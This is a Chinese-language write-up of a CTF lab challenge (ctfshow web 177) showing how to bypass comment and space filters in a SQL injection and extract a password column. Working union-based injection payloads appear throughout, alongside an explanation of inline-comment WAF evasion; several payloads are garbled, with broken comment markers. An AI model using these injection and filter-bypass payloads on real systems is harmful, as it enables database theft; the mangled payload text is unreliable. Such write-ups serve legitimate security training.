ctf show web 177

这题跟176类似我们先正常进行SQL注入

在payload为1'时可正常回显但是当payload加上--+注释时却不会回显,所以我们猜测过滤了--+,我们用%23代替试试看

发现此时正常然后继续正常的SQL注入操作

在测试字段数时又发生了没有回显的情况我们猜测现在除了对--+的过滤外还有别的过滤,通关尝试发现是对空格进行了过滤,我们使用内联注释过滤

很多 Web 应用的 WAF(Web 应用防火墙)或后端代码会使用简单的正则表达式或黑名单来过滤敏感关键字(例如 SELECT、UNION、WHERE、空格等)。内联注释绕过的原理主要利用了以下两点:

替换空格:数据库解释器会将连续的注释块视为分隔符,从而可以用注释代替空格。

数据库解析特性:部分数据库(尤其是 MySQL)对内联注释有特殊的扩展语法,允许注释内部的代码被正常执行,但防护规则可能会漏报。

  1. 常见使用场景

(1) 绕过空格过滤

当后端代码过滤了空格、%20 或 + 时,可以使用内联注释 // 代替空格
我们尝试使用/
/来绕过

发现字段数为3

我们开始构造payload:-1'//union/ /select/**/1,database(),3%23

-1'union//select/ /1,table_name,3//from/ /information_schema.tables//where/ /table_schema=database()%23

-1'union//select/ /1,column_name,3//from/ /information_schema.columns//where//table_name='ctfshow_user'%23

-1'union//select/ /1,'hack',password//from//ctfshow_user%23

就得到了flag

最后payload语句构造为-1' union SELECT 1,'hack',password from ctfshow_user--+

是因为题目提示我们username不能为flag所以为了让username中不出现flag我们手动把他改为'字符',这个字符可以自定义

相关推荐
Younglina41 分钟前
三个晚上,我和 WorkBuddy 做了个生图网站
前端·后端·ai编程
深圳老胡42 分钟前
STM32 开发中 Trae 内置模型怎么选:Seed、MiniMax、GLM、DeepSeek、Kimi、Qwen 全对比
笔记·stm32·单片机·嵌入式硬件·代码规范·1024程序员节
xy34531 小时前
Axure 9.0 内联框架加载方式
前端·ui·html·axure·原型·产品设计
坤坤子吖1 小时前
C++继承:友元、静态成员、多继承与组合
开发语言·c++·笔记·学习·1024程序员节
陈随易2 小时前
副业搞钱点子之收入查看器
前端·后端
Profile排查笔记2 小时前
浏览器指纹逆向怎么分析:从网络请求追踪到 JavaScript 采集链
前端·人工智能·后端·自动化
Nuanyt2 小时前
Hot 100 刷题笔记 · 数组与哈希专题(3 题)
java·笔记·算法·leetcode·哈希算法·1024程序员节
hudie7652 小时前
LikeShop 二开最常改的 5 个文件(附改前改后对比)
前端·uni-app·php·个人开发
qetfw3 小时前
Bash 函数与流程控制:read、if、for、case 验证
linux·前端·javascript·bash
鬼手点金3 小时前
从 API 消息到模型 Token:Chat Template
java·前端·javascript·数据库·人工智能·深度学习·1024程序员节